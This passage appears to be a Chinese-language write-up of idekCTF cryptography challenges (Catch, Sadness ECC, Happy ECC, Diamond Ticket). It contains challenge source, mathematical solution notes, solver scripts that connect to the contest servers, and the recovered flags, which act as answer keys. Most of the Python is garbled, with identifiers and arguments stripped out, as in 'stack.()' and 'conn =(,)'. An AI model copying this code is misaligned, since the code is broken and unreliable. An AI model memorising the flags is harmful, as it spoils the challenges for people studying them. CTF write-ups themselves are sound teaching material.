# But the server tokenizes as `~` then `(`, which complicates things.
# A simple way to fix the original code is to check for stack length.
# Let's go back to the original simple parser and fix it.
pass
elif token == '(':
pass # Ignore opening parentheses
elif token == ')':
# Closing a subexpression.
# Check for a binary op first. `(a op b)` -> `a b op`
if len() >= 3 and[-2] in OP_PRECEDENCE and[-3] not in OP_PRECEDENCE:
op = stack.()
b = stack.()
a = stack.()
stack.(f'{} {} {}')
# Check for a unary op. `(~a)` -> `a ~`
elif len() >= 2 and[-2] == '~':
op = stack.()
operand = stack.()
stack.(f'{} {}')
elif token in OP_PRECEDENCE:
stack.()
# The previous logic was flawed. A proper Shunting-yard is needed.
# The `pop from empty list` error in your run shows that a naive approach fails.
# Let's try again with a robust Shunting-yard implementation.
# The problem is that the `~` can be followed by a `(`, and the `pop` would fail.
# A robust algorithm must handle unary operators correctly.
# Let's re-write `shunting_yard` from scratch for clarity and correctness.
output = []
op_stack = []
# Tokenize the expression, including all symbols
tokens = re.(r'[0-9]+|[iIl]+|[~&^|]|[()]',)
for token in tokens:
if token.() or re.(r'[iIl]+',):
output.()
elif token == '(':
op_stack.()
elif token == ')':
while op_stack and[-1] != '(':
output.(.())
if op_stack:
op_stack.() # pop '('
elif token in OP_PRECEDENCE:
# Handle unary `~`
if token == '~':
# The server's format is `(~...)`, so `~` is always followed by `(`.
# We can treat `~` as a special case.
# Let's push it, and process it later
op_stack.()
else: # Binary operators
while op_stack and[-1] != '(' and \
[[-1]] >=[]:
output.(.())
op_stack.()
else:
raise ValueError(f"Unknown token: {}")
while op_stack:
output.(.())
return ' '.()
def main():
conn =(,)
conn.(b'lets play a game!\n')
log.("Starting the challenge...")
for i in range(50):
line = conn.().().()
log.(f"[{+1}/50] Received: {}")
try:
rpn_expression =()
log.(f"[{+1}/50] Sending: {}")
conn.(.())
response = conn.().().()
log.(f"[{+1}/50] Received: {}")
if "wrong!" in response or "invalid" in response or "too slow" in response:
log.(f"Failed at round {+1}. Server said: {}")
conn.()
return
except Exception as e:
log.(f"An error occurred during round {+1}: {}")
conn.()
return
log.("All 50 rounds completed! Waiting for the flag...")
flag = conn.().().()
log.(f"Flag: {}")
conn.()
if __name__ == "__main__":
()Crypto
Catch
题目
from Crypto.Random.random import randint, choice
import os
# In a realm where curiosity roams free, our fearless cat sets out on an epic journey.
# Even the cleverest feline must respect the boundaries of its world—this magical limit holds all wonders within.
limit = 0xe5db6a6d765b1ba6e727aa7a87a792c49bb9ddeb2bad999f5ea04f047255d5a72e193a7d58aa8ef619b0262de6d25651085842fd9c385fa4f1032c305f44b8a4f92b16c8115d0595cebfccc1c655ca20db597ff1f01e0db70b9073fbaa1ae5e489484c7a45c215ea02db3c77f1865e1e8597cb0b0af3241cd8214bd5b5c1491f
# Through cryptic patterns, our cat deciphers its next move.
def walking(x, y, part):
# Each step is guided by a fragment of the cat's own secret mind.
epart = [int.([:+2], "big") for i in range(0, len(), 2)]
xx =[0] * x +[1] * y
yy =[2] * x +[3] * y
return xx, yy
# Enter the Cat: curious wanderer and keeper of hidden paths.
class Cat:
def __init__(self):
# The cat's starting position is born of pure randomness.
self.x =(0, 2**256)
self.y =(0, 2**256)
# Deep within, its mind holds a thousand mysterious fragments.
while True:
self.mind = os.(1000)
self.step = [self.[:+8] for i in range(0, 1000, 8)]
if len(set(self.)) == len(self.):
break
# The epic chase begins: the cat ponders and strides toward the horizon.
def moving(self):
for _ in range(30):
# A moment of reflection: choose a thought from the cat's endless mind.
part =(self.)
self.step.()
# With each heartbeat, the cat takes a cryptic step.
xx, yy =(self., self.,)
self.x, self.y = xx, yy
# When the wild spirit reaches the edge, it respects the boundary and pauses.
if self.x > limit or self.y > limit:
self.x %= limit
self.y %= limit
break
# When the cosmos beckons, the cat reveals its secret coordinates.
def position(self):
return (self.x, self.y)
# Adventurer, your quest: find and connect with 20 elusive cats.
for round in range(20):
try:
print(f"👉 Hunt {round+1}/20 begins!")
cat =()
# At the start, you and the cat share the same starlit square.
human_pos = cat.()
print(f"🐱✨ Co-location: {}")
print(f"🔮 Cat's hidden mind: {..()}")
# But the cat, ever playful, dashes into the unknown...
cat.()
print("😸 The chase is on!")
print(f"🗺️ Cat now at: {.()}")
# Your turn: recall the cat's secret path fragments to catch up.
mind = bytes.(input("🤔 Path to recall (hex): "))
# Step by step, follow the trail the cat has laid.
for i in range(0, len(), 8):
part =[:+8]
if part not in cat.mind:
print("❌ Lost in the labyrinth of thoughts.")
exit()
human_pos =([0],[1],)
# At last, if destiny aligns...
if human_pos == cat.():
print("🎉 Reunion! You have found your feline friend! 🐾")
else:
print("😿 The path eludes you... Your heart aches.")
exit()
except Exception:
print("🙀 A puzzle too tangled for tonight. Rest well.")
exit()
# Triumph at last: the final cat yields the secret prize.
print(f"🏆 Victory! The treasure lies within: {open('flag.txt').()}")题目核心
part 读取 4 个 16‑位整数part 为 mind 中的一个不重复的块。mind 长 1000 字节,划分成 125 个互不相同的 8‑字节块 step,随后在 moving 中不放回地取 30 次。limit 是 1024‑位的整数,远大于此值,因此在 30 步内不可能出现 x>limit 或 y>limit,循环永远不会在途中 break,必定执行完整的 30 次变换。part。Exploit
part。part, part 从 $\mathcal{S}$ 中移除,递归继续寻找 $\mathbf{v}_{k-1}$。part 列表;把顺序反转即可得到正向的 30 步路径。#!/usr/bin/env python3
from pwn import *
import ast
def get_matrix_from_part(part):
"""Parses an 8-byte part into a tuple of 4 integers (matrix elements)."""
a = int.([0:2], "big")
b = int.([2:4], "big")
c = int.([4:6], "big")
d = int.([6:8], "big")
return (a, b, c, d)
def solve_round(initial_pos, final_pos, all_parts):
"""
Solves a single round using an iterative Depth-First Search (DFS)
based on the divisibility constraint.
"""
# Stack for DFS: (current_target_pos, available_parts_set, path_in_reverse)
stack = [(final_pos, frozenset(), [])]
while stack:
current_pos, available, path_rev = stack.()
if len() == 30:
if current_pos == initial_pos:
log.("Found the correct path of 30 steps!")
# The path was built in reverse, so we flip it.
return b"".([::-1])
continue
tx, ty = current_pos
for part in available:
a, b, c, d =()
det = a * d - b * c
if det == 0:
continue
# Calculate the numerators for the inverse transformation
prev_x_num = d * tx - b * ty
prev_y_num = -c * tx + a * ty
# The key insight: intermediate coordinates must be integers.
if prev_x_num % det == 0 and prev_y_num % det == 0:
prev_pos = (prev_x_num // det, prev_y_num // det)
stack.((, - {}, + []))
return None # Should not be reached
def main():
conn =("catch.chal.idek.team", 1337)
for round_num in range(20):
conn.(b"begins!\n")
# Parse initial position
line_co_location = conn.().().()
x0, y0 = ast.(.(": ")[1])
# Parse the cat's mind
line_mind = conn.().().()
mind_hex = line_mind.(": ")[1]
mind_bytes = bytes.()
all_parts = [[:+8] for i in range(0, 1000, 8)]
conn.(b"The chase is on!\n")
# Parse final position
line_final_pos = conn.().().()
xf, yf = ast.(.(": ")[1])
log.(f"--- Starting Hunt {+1}/20 ---")
# Solve the round
solution_path_bytes =((,), (,),)
if solution_path_bytes is None:
log.("Solver failed. Something is wrong with the assumptions.")
conn.()
return
solution_hex = solution_path_bytes.()
conn.(b"Path to recall (hex): ",.())
response = conn.()
if b"Reunion!" not in response:
log.("Submitted the wrong path.")
print(.())
conn.()
return
flag = conn.().()
log.(f"Flag: {}")
if __name__ == "__main__":
()Sadness ECC
# chall.py
from Crypto.Util.number import *
from secret import n, xG, yG
import ast
class DummyPoint:
O = object()
def __init__(self, x=None, y=None):
if (x, y) == (None, None):
self._infinity = True
else:
assert DummyPoint.(,), (x, y)
self.x, self.y = x, y
self._infinity = False
@classmethod
def infinity(cls):
return()
def is_infinity(self):
return getattr(self, "_infinity", False)
@staticmethod
def isOnCurve(x, y):
return "<REDACTED>"
def __add__(self, other):
if other.():
return self
if self.():
return other
# ——— Distinct‑points case ———
if self.x != other.x or self.y != other.y:
dy = self.y - other.y
dx = self.x - other.x
inv_dx = pow(, -1,)
prod1 = dy * inv_dx
s = prod1 % n
inv_s = pow(, -1,)
s3 = pow(, 3,)
tmp1 = s * self.x
d = self.y - tmp1
d_minus = d - 1337
neg_three = -3
tmp2 = neg_three * d_minus
tmp3 = tmp2 * inv_s
sum_x = self.x + other.x
x_temp = tmp3 + s3
x_pre = x_temp - sum_x
x = x_pre % n
tmp4 = self.x - x
tmp5 = s * tmp4
y_pre = self.y - tmp5
y = y_pre % n
return(,)
dy_term = self.y - 1337
dy2 = dy_term * dy_term
three_dy2 = 3 * dy2
inv_3dy2 = pow(, -1,)
two_x = 2 * self.x
prod2 = two_x * inv_3dy2
s = prod2 % n
inv_s = pow(, -1,)
s3 = pow(, 3,)
tmp6 = s * self.x
d2 = self.y - tmp6
d2_minus = d2 - 1337
tmp7 = -3 * d2_minus
tmp8 = tmp7 * inv_s
x_temp2 = tmp8 + s3
x_pre2 = x_temp2 - two_x
x2 = x_pre2 % n
tmp9 = self.x - x2
tmp10 = s * tmp9
y_pre2 = self.y - tmp10
y2 = y_pre2 % n
return(,)
def __rmul__(self, k):
if not isinstance(, int) or k < 0:
raise ValueError("Choose another k")
R = DummyPoint.()
addend = self
while k:
if k & 1:
R = R + addend
addend = addend + addend
k >>= 1
return R
def __repr__(self):
return f"DummyPoint({self.x}, {self.y})"
def __eq__(self, other):
return self.x == other.x and self.y == other.y
if __name__ == "__main__":
G =(,)
print(f"{}")
stop = False
while True:
print("1. Get random point (only one time)\n2. Solve the challenge\n3. Exit")
try:
opt = int(input("> "))
except:
print("❓ Try again."); continue
if opt == 1:
if stop:
print("Only one time!")
else:
stop = True
k =(1,)
P = k * G
print("Here is your point:")
print()
elif opt == 2:
ks = [(1,) for _ in range(2)]
Ps = [k * G for k in ks]
Ps.([0] +[1])
print("Sums (x+y):", [. +. for in])
try:
ans = ast.(input("Your reveal: "))
except:
print("Couldn't parse."); continue
if all( ==(*) for, in zip(,)):
print("Correct! " + open("flag.txt").())
else:
print("Wrong...")
break
else:
print("Farewell.")
break
解题思路:奇异曲线上的坐标恢复
第一步:恢复曲线方程
isOnCurve 被隐藏,因此必须 从点的加法运算 (__add__) 中反向推导出曲线方程。 点加法分为两种情况:两点相加 和 点倍加。通常点倍加的公式更简洁,是推导的突破口。dy_term = self.y - 1337
dy2 = dy_term * dy_term
# ...
s = (2 * self.x) * pow(3 *, -1,)s 表示点 $P(x,y)$ 处切线的斜率。 可写成数学形式:第二步:分析挑战与漏洞
第三步:求解策略 —— 多项式结式 (Polynomial Resultant)
1. 构造约束多项式
2. 第一次消元
3. 取公共根
4. 回代求解
__add__(或使用上面的公式)计算小结
Sadness ECC - RevengeHappy ECC
解题思路
第一步:恢复曲线多项式 $f(x)$
solve.py 脚本中的 CRT_list 函数正是实现了这个功能。第二步:计算雅可比群的阶
H.frobenius_polynomial()。脚本中通过调用 sum(H.frobenius_polynomial()),实际上就是计算了 $\chi_C(t)$ 在 $t=1$ 处的值,从而得到了群的总阶 $N = |J(C)|$。第三步:计算点 $G$ 的真实阶
order_candidate 为 $N$。order_candidate。只要 $(\text{order_candidate} / p_i) \cdot G$ 的结果是单位元(在Mumford表示中,单位元是 $(U=1, V=0)$),我们就更新 order_candidate:order_candidate 的最终值就是点 $G$ 的真实阶。idek{find_the_order_of_hyperelliptic_curve_is_soooo_hard:((}Happy ECC - Revenge 的 Exploit,没啥区别Diamond Ticket
题目
from Crypto.Util.number import *
#Some magic from Willy Wonka
p = 170829625398370252501980763763988409583
a = 164164878498114882034745803752027154293
b = 125172356708896457197207880391835698381
def chocolate_generator(m:int) -> int:
return (pow(,,) + pow(,,)) % p
#The diamond ticket is hiding inside chocolate
diamond_ticket = open("flag.txt", "rb").()
assert len() == 26
assert[:5] == b"idek{"
assert[-1:] == b"}"
diamond_ticket =([5:-1])
flag_chocolate =()
chocolate_bag = []
#Willy Wonka are making chocolates
for i in range(1337):
chocolate_bag.((1,))
#And he put the golden ticket at the end
chocolate_bag.()
#Augustus ate lots of chocolates, but he can't eat all cuz he is full now :D
remain =[-5:]
#Compress all remain chocolates into one
remain_bytes = b"".([.(.()//8, "big") for in])
#The last chocolate is too important, so Willy Wonka did magic again
P =(512)
Q =(512)
N = P * Q
e =(b"idek{this_is_a_fake_flag_lolol}")
d = pow(, -1, ( - 1) * ( - 1))
c1 = pow((),,)
c2 = pow((), 2,) # A small gift
#How can you get it ?
print(f"{}")
print(f"{}")
print(f"{}")
"""
N = 85494791395295332945307239533692379607357839212287019473638934253301452108522067416218735796494842928689545564411909493378925446256067741352255455231566967041733698260315140928382934156213563527493360928094724419798812564716724034316384416100417243844799045176599197680353109658153148874265234750977838548867
c1 = 27062074196834458670191422120857456217979308440332928563784961101978948466368298802765973020349433121726736536899260504828388992133435359919764627760887966221328744451867771955587357887373143789000307996739905387064272569624412963289163997701702446706106089751532607059085577031825157942847678226256408018301
c2 = 30493926769307279620402715377825804330944677680927170388776891152831425786788516825687413453427866619728035923364764078434617853754697076732657422609080720944160407383110441379382589644898380399280520469116924641442283645426172683945640914810778133226061767682464112690072473051344933447823488551784450844649
"""1. 问题概述
diamond_ticket 的值,它是一个长度为 20 字节的可打印 ASCII 字符串,记为整数m 被视作一个 20 字节的整数,并被代入函数2. 数学原理
2.1 费马小定理与阶
2.2 关键参数
a.multiplicative_order()+1 表明2.3 同余关系
3. 搜索算法的数学推导
3.1 可打印字符串的取值范围
3.2 约束的整数解
kStart 与 kEnd 的计算方式。3.3 搜索流程
4. 结论
diamond_ticket,即题目所求的 20 字符密钥。package main
import (
"bytes"
"fmt"
"math/big"
"os"
"runtime"
"sync"
"time"
"github.com/schollz/progressbar/v3"
)
func isPrintable(data []byte) bool {
for _, b := range data {
if b < 32 || b > 126 {
return false
}
}
return true
}
func worker(
k_start, k_end *big.Int,
p_minus_1, r *big.Int,
wg *sync.WaitGroup,
bar *progressbar.ProgressBar,
foundMutex *sync.Mutex,
outputFile *os.File,
) {
defer wg.Done()
m := new(big.Int).Mul(k_start, p_minus_1)
m.Add(m, r)
const flagContentLength = 20
mBytes := make([]byte, flagContentLength)
const batchSize = 10000
var batchCounter int64 = 0
loopCount := new(big.Int).Sub(k_end, k_start)
loopCount.Add(loopCount, big.NewInt(1))
one := big.NewInt(1)
i := new(big.Int)
for i.Cmp(loopCount) < 0 {
if m.BitLen() <= flagContentLength*8 {
m.FillBytes(mBytes)
if isPrintable(mBytes) {
foundMutex.Lock()
flag := fmt.Sprintf("idek{%s}", string(mBytes))
fmt.Println("\n[+] possible flag:", flag)
_, err := outputFile.WriteString(flag + "\n")
if err != nil {
fmt.Println("[-] err:", err)
}
foundMutex.Unlock()
}
}
m.Add(m, p_minus_1)
batchCounter++
if batchCounter == batchSize {
bar.Add64(batchSize)
batchCounter = 0
}
i.Add(i, one)
}
if batchCounter > 0 {
bar.Add64(batchCounter)
}
}
func main() {
// a.multiplicative_order()+1, 因为后面有个 p-1, 懒得改了
pStr := "85414812699185126250990381881994204792"
rStr := "4807895356063327854843653048517090061"
p, _ := new(big.Int).SetString(pStr, 10)
r, _ := new(big.Int).SetString(rStr, 10)
pMinus1 := new(big.Int).Sub(p, big.NewInt(1))
const flagContentLength = 20
mMinBytes := bytes.Repeat([]byte{32}, flagContentLength)
mMaxBytes := bytes.Repeat([]byte{126}, flagContentLength)
mMin := new(big.Int).SetBytes(mMinBytes)
mMax := new(big.Int).SetBytes(mMaxBytes)
kStartNum := new(big.Int).Sub(mMin, r)
kStart := new(big.Int).Div(kStartNum, pMinus1)
mCheck := new(big.Int).Mul(kStart, pMinus1)
mCheck.Add(mCheck, r)
if mCheck.Cmp(mMin) < 0 {
kStart.Add(kStart, big.NewInt(1))
}
kEndNum := new(big.Int).Sub(mMax, r)
kEnd := new(big.Int).Div(kEndNum, pMinus1)
fmt.Printf("[*] k_start: %s\n", kStart.String())
fmt.Printf("[*] k_end: %s\n", kEnd.String())
kRange := new(big.Int).Sub(kEnd, kStart)
kRange.Add(kRange, big.NewInt(1))
bar := progressbar.NewOptions64(
kRange.Int64(),
progressbar.OptionSetDescription("Searching..."),
progressbar.OptionSetWriter(os.Stderr),
progressbar.OptionShowBytes(false),
progressbar.OptionSetWidth(40),
progressbar.OptionShowCount(),
progressbar.OptionThrottle(100*time.Millisecond),
progressbar.OptionSpinnerType(14),
progressbar.OptionFullWidth(),
progressbar.OptionSetRenderBlankState(true),
progressbar.OptionShowElapsedTimeOnFinish(),
)
numWorkers := runtime.NumCPU()
runtime.GOMAXPROCS(numWorkers)
var wg sync.WaitGroup
var foundMutex sync.Mutex
outputFile, err := os.Create("found_flags.txt")
if err != nil {
fmt.Println("[-] err:", err)
return
}
defer outputFile.Close()
totalWork := new(big.Int).Set(kRange)
chunkSize := new(big.Int).Div(totalWork, big.NewInt(int64(numWorkers)))
currentK := new(big.Int).Set(kStart)
one := big.NewInt(1)
for i := 0; i < numWorkers; i++ {
wg.Add(1)
workerKStart := new(big.Int).Set(currentK)
var workerKEnd *big.Int
if i == numWorkers-1 {
workerKEnd = new(big.Int).Set(kEnd)
} else {
workerKEnd = new(big.Int).Add(workerKStart, chunkSize)
workerKEnd.Sub(workerKEnd, one)
}
if workerKStart.Cmp(kEnd) > 0 {
wg.Done()
continue
}
go worker(workerKStart, workerKEnd, pMinus1, r, &wg, bar, &foundMutex, outputFile)
currentK.Add(workerKEnd, one)
}
wg.Wait()
bar.Finish()
fmt.Println("\n[+] Results saved to found_flags.txt.")
}idek{tks_f0r_ur_t1ck3t_xD}Sadness ECC - Revenge
# bad ecc revenge exp.py
# sage
from pwn import remote
import subprocess
import ast
from sage.all import *
# PoW
kctf_solver_code = """
#!/usr/bin/env python3
import base64, os, secrets, socket, sys, hashlib
try:
import gmpy2
HAVE_GMP = True
except ImportError:
HAVE_GMP = False
VERSION = 's'
MODULUS = 2**1279-1
def python_sloth_root(x, diff, p):
exponent = (p + 1) // 4
for i in range(diff):
x = pow(x, exponent, p) ^ 1
return x
def gmpy_sloth_root(x, diff, p):
exponent = (p + 1) // 4
for i in range(diff):
x = gmpy2.powmod(x, exponent, p).bit_flip(0)
return int(x)
def sloth_root(x, diff, p):
if HAVE_GMP: return gmpy_sloth_root(x, diff, p)
else: return python_sloth_root(x, diff, p)
def encode_number(num):
size = (num.bit_length() // 24) * 3 + 3
return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')
def decode_number(enc):
return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big')
def decode_challenge(enc):
dec = enc.split('.')
if dec[0] != VERSION: raise Exception('Unknown challenge version')
return list(map(decode_number, dec[1:]))
def encode_challenge(arr):
return '.'.join([VERSION] + list(map(encode_number, arr)))
def solve_challenge(chal):
[diff, x] = decode_challenge(chal)
y = sloth_root(x, diff, MODULUS)
return encode_challenge([y])
def main():
if len(sys.argv) != 3 or sys.argv[1] != 'solve': sys.exit(1)
challenge = sys.argv[2]
solution = solve_challenge(challenge)
sys.stdout.write(solution)
if __name__ == "__main__":
main()
"""
class DummyPoint:
O = object()
def __init__(self, x=None, y=None):
if (x, y) == (None, None):
self._infinity = True
else:
assert DummyPoint.(,), (x, y)
self.x, self.y = x, y
self._infinity = False
@classmethod
def infinity(cls):
return()
def is_infinity(self):
return getattr(self, "_infinity", False)
@staticmethod
def isOnCurve(x, y):
return "<REDACTED>"
def __add__(self, other):
if other.():
return self
if self.():
return other
# ——— Distinct‑points case ———
if self.x != other.x or self.y != other.y:
dy = self.y - other.y
dx = self.x - other.x
inv_dx = 1 / dx
prod1 = dy * inv_dx
s = prod1
inv_s = 1 / s
s3 = inv_s ** 3
tmp1 = s * self.x
d = self.y - tmp1
d_minus = d - 1337
neg_three = -3
tmp2 = neg_three * d_minus
tmp3 = tmp2 * inv_s
sum_x = self.x + other.x
x_temp = tmp3 + s3
x_pre = x_temp - sum_x
x = x_pre
tmp4 = self.x - x
tmp5 = s * tmp4
y_pre = self.y - tmp5
y = y_pre
return(,)
dy_term = self.y - 1337
dy2 = dy_term * dy_term
three_dy2 = 3 * dy2
inv_3dy2 = 1 / three_dy2
two_x = 2 * self.x
prod2 = two_x * inv_3dy2
s = prod2
inv_s = 1 / s
s3 = inv_s**3
tmp6 = s * self.x
d2 = self.y - tmp6
d2_minus = d2 - 1337
tmp7 = -3 * d2_minus
tmp8 = tmp7 * inv_s
x_temp2 = tmp8 + s3
x_pre2 = x_temp2 - two_x
x2 = x_pre2
tmp9 = self.x - x2
tmp10 = s * tmp9
y_pre2 = self.y - tmp10
y2 = y_pre2
return(,)
def __rmul__(self, k):
if not isinstance(, int) or k < 0:
raise ValueError("Choose another k")
R = DummyPoint.()
addend = self
while k:
if k & 1:
R = R + addend
addend = addend + addend
k >>= 1
return R
def __repr__(self):
return f"DummyPoint({self.x}, {self.y})"
def __eq__(self, other):
return self.x == other.x and self.y == other.y
def compositeModulusGCD(a, b):
if(b == 0):
return a.()
else:
return(, %)
def verify(x, y):
return (x**2 - (y - 1337)**3) % n == 0
# Write the solver code to a file
with open("kctf_solver.py", "w") as f:
f.()
# ECC
def compositeModulusGCD(a, b):
if(b == 0): return a.()
else: return(, %)
# Establish connection
io =("sad-ecc-revenge.chal.idek.team", 1337)
# --- Handle PoW using the subprocess method ---
print("[*] Handling Proof-of-Work using subprocess...")
io.(b") solve ")
challenge = io.().().()
print(f"[*] Received PoW challenge: {}")
# Run the external solver script
result = subprocess.(
['python3', 'kctf_solver.py', 'solve',],
capture_output=True,
text=True
)
solution = result.stdout.()
print(f"[*] Calculated PoW solution: {}")
io.(b"Solution? ",.())
io.(b"Correct\n")
print("[+] PoW solved!")
# io.interactive()
io.(b"> ", b"2\n")
n = 18462925487718580334270042594143977219610425117899940337155124026128371741308753433204240210795227010717937541232846792104611962766611611163876559160422428966906186397821598025933872438955725823904587695009410689230415635161754603680035967278877313283697377952334244199935763429714549639256865992874516173501812823285781745993930473682283430062179323232132574582638414763651749680222672408397689569117233599147511410313171491361805303193358817974658401842269098694647226354547005971868845012340264871645065372049483020435661973539128701921925288361298815876347017295555593466546029673585316558973730767171452962355953
x1, y1, x2, y2 =("x1 y1 x2 y2")
s1, s2, s3 = eval(.().().(":")[1])
# print(f"{s1}")
# print(f"{s2}")
# print(f"{s3}")
f = -x1 - x2 + 3*(x1 - x2)*(x1*(y1 - y2)/(x1 - x2) - y1 + 1337)/(y1 - y2) + (x1 - x2)**3/(y1 - y2)**3 -(2*x1 + x2 - 3*(x1 - x2)*(x1*(y1 - y2)/(x1 - x2) - y1 + 1337)/(y1 - y2) - (x1 - x2)**3/(y1 - y2)**3)*(y1 - y2)/(x1 - x2) + y1
f = f - s3
f =(y1 = -, y2 = -)
f = f.()
E1 = x1**2 - (y1 - 1337)**3
E2 = x2**2 - (y2 - 1337)**3
E1 =(y1 = -)
E2 =(y2 = -)
f1 = f.(,)
f2 = f.(,)
PR =((), name="x")
x = PR.()[0]
g1 =(str().("x2", "x"))
g2 =(str().("x2", "x"))
x2_ = -list((,))[0]
y2_ = s2 - x2_
PR =((), name="x")
x = PR.()[0]
f1 = f.(,)
f2 = f.(,)
g1 =(str().("x1", "x"))
g2 =(str().("x1", "x"))
x1_ = -list((,))[0]
y1_ = s1 - x1_
P1 =(,)
P2 =(,)
P3 = P1 + P2
x3_, y3_ = P3.x, P3.y
points = [x1_, y1_, x2_, y2_, x3_, y3_]
io.("Your reveal: ", str().() + b"\n")
print(.(3).())
# idek{the_idea_came_from_a_Vietnamese_high_school_Mathematical_Olympiad_competition_xD_sorry_for_unintended_:sob:_75f492115a34ff4324212e09e24aa5bd}Happy ECC - Revenge

# chall.py
from sage.all import *
from Crypto.Util.number import *
# Edited a bit from https://github.com/aszepieniec/hyperelliptic/blob/master/hyperelliptic.sage
class HyperellipticCurveElement:
def __init__( self, curve, U, V ):
self.curve = curve
self.U = U
self.V = V
@staticmethod
def Cantor( curve, U1, V1, U2, V2 ):
# 1.
g, a, b =(,) # a*U1 + b*U2 == g
d, c, h3 =(,+) # c*g + h3*(V1+V2) = d
h2 = c*b
h1 = c*a
# h1 * U1 + h2 * U2 + h3 * (V1+V2) = d = gcd(U1, U2, V1-V2)
# 2.
V0 = (U1 * V2 * h1 + U2 * V1 * h2 + (V1*V2 + curve.f) * h3).()[0]
R = U1.()
V0 =()
# 3.
U = (U1 * U2).(**2)[0]
U =()
V = V0 % U
while U.() > curve.genus:
# 4.
U_ = (curve.f - V**2).()[0]
U_ =()
V_ = (-V).()[1]
# 5.
U, V = U_.(), V_
# (6.)
# 7.
return U, V
def parent( self ):
return self.curve
def __add__( self, other ):
U, V = HyperellipticCurveElement.(self., self., self.,.,.)
return(self.,,)
def inverse( self ):
return(self., self., -self.)
def __rmul__(self, exp):
R = self.U.()
I =(self.,(1),(0))
if exp == 0:
return(self.,(1),(0))
if exp == 1:
return self
acc = I
Q = self
while exp:
if exp & 1:
acc = acc + Q
Q = Q + Q
exp >>= 1
return acc
def __eq__( self, other ):
if self.curve == other.curve and self.V == other.V and self.U == other.U:
return True
else:
return False
class HyperellipticCurve_:
def __init__( self, f ):
self.R = f.()
self.F = self.R.()
self.x = self.R.()
self.f = f
self.genus =((.()-1) / 2)
def identity( self ):
return(self, self.(1), self.(0))
def random_element( self ):
roots = []
while len() != self.genus:
xi = self.F.()
yi2 = self.()
if not yi2.():
continue
roots.()
roots = list(set())
signs = [((2).()) for r in roots]
U = self.(1)
for r in roots:
U = U * (self.x - r)
V = self.(0)
for i in range(len()):
y = (-1)**(((2).())) *(self.([]))
lagrange = self.(1)
for j in range(len()):
if j == i:
continue
lagrange = lagrange * (self.x -[])/([] -[])
V += y * lagrange
return(self,,)
p =(40)
R, x =((), 'x').()
f = R.(5).()
H =()
print(f"{}")
if __name__ == "__main__":
cnt = 0
while True:
print("1. Get random point\n2. Solve the challenge\n3. Exit")
try:
opt = int(input("> "))
except:
print("❓ Try again."); continue
if opt == 1:
if cnt < 3:
G = H.()
k =(1,)
P = k * G
print("Here is your point:")
print(f"{.}")
print(f"{.}")
cnt += 1
else:
print("You have enough point!")
continue
elif opt == 2:
G = H.()
print(f"{(.,.)}")
print("Give me the order !")
odr = int(input(">"))
if (odr * G).U == 1 and odr > 0:
print("Congratz! " + open("flag.txt", "r").())
else:
print("Wrong...")
break
else:
print("Farewell.")
break# crypto/Happy ECC - Revenge
import hashlib
import re
from sage.all import *
from pwn import *
import subprocess
import ast
context.log_level = "debug"
# ===================================================================
# ## Part 1: Official PoW Solver Code
# ## This code will be written to a file named 'kctf_solver.py'.
# ===================================================================
kctf_solver_code = """
#!/usr/bin/env python3
import base64, os, secrets, socket, sys, hashlib
try:
import gmpy2
HAVE_GMP = True
except ImportError:
HAVE_GMP = False
VERSION = 's'
MODULUS = 2**1279-1
def python_sloth_root(x, diff, p):
exponent = (p + 1) // 4
for i in range(diff):
x = pow(x, exponent, p) ^ 1
return x
def gmpy_sloth_root(x, diff, p):
exponent = (p + 1) // 4
for i in range(diff):
x = gmpy2.powmod(x, exponent, p).bit_flip(0)
return int(x)
def sloth_root(x, diff, p):
if HAVE_GMP: return gmpy_sloth_root(x, diff, p)
else: return python_sloth_root(x, diff, p)
def encode_number(num):
size = (num.bit_length() // 24) * 3 + 3
return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')
def decode_number(enc):
return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big')
def decode_challenge(enc):
dec = enc.split('.')
if dec[0] != VERSION: raise Exception('Unknown challenge version')
return list(map(decode_number, dec[1:]))
def encode_challenge(arr):
return '.'.join([VERSION] + list(map(encode_number, arr)))
def solve_challenge(chal):
[diff, x] = decode_challenge(chal)
y = sloth_root(x, diff, MODULUS)
return encode_challenge([y])
def main():
if len(sys.argv) != 3 or sys.argv[1] != 'solve': sys.exit(1)
challenge = sys.argv[2]
solution = solve_challenge(challenge)
sys.stdout.write(solution)
if __name__ == "__main__":
main()
"""
# Write the solver code to a file to be called by the subprocess
with open("kctf_solver.py", "w") as f:
f.()
def parse_poly_str(s, R):
"""Parses the server's polynomial string into a Sage polynomial object."""
return(.('^', '**'))
def solve():
# Connect to the challenge server
# conn = remote('happy-ecc.chal.idek.team', 1337)
conn =('happy-ecc-revenge.chal.idek.team', 1337)
# --- Part 1: Solve Proof-of-Work ---
try:
log.("Waiting for Proof-of-Work challenge...")
# pow_line = conn.recvuntil(b"Input the decimal result of n", timeout=10)
# match = re.search(rb"b'(.+)'\)\.hexdigest\(\) = (.+)", pow_line)
# salt, target_hash = match.group(1), match.group(2).decode()
# log.info(f"PoW Salt: {salt.decode()}, Target: {target_hash}")
# log.info("Brute-forcing PoW solution 'n'...")
# for n in range(2**28):
# if hashlib.md5(str(n).encode() + salt).hexdigest() == target_hash:
# log.success(f"PoW solution found: n = {n}")
# conn.sendlineafter(b': ', str(n).encode())
# break
# else:
# log.failure("Could not solve PoW.")
# conn.close()
# return
# print("[*] Handling Proof-of-Work using subprocess...")
io = conn
io.(b") solve ")
challenge = io.().().()
print(f"[*] Received PoW challenge: {}")
# Run the external solver script and capture its output
result = subprocess.(
['python3', 'kctf_solver.py', 'solve',],
capture_output=True,
text=True,
check=True
)
solution = result.stdout.()
print(f"[*] Calculated PoW solution: {}")
io.(b"Solution? ",.())
io.(b"Correct\n")
print("[+] PoW solved!")
except Exception as e:
log.(f"No PoW found or PoW failed: {}")
pass
# --- Part 2: Recover f(x) via CRT ---
conn.(b'p = ')
p = int(.().())
log.(f"Received prime p = {}")
F =()
R, x =(, 'x').()
congruences = []
log.("Requesting 3 points to recover f(x)...")
for i in range(3):
conn.(b'> ', b'1')
conn.(b'P.U = ')
U_str = conn.().().()
conn.(b'P.V = ')
V_str = conn.().().()
U, V =(,),(,)
congruences.((**2,))
log.(f"Got point {+1}")
remainders, moduli = zip(*)
f =(list(), list()).()
log.(f"Recovered polynomial f(x) = {}")
# --- Part 3: Find True Order of G and Solve ---
H =()
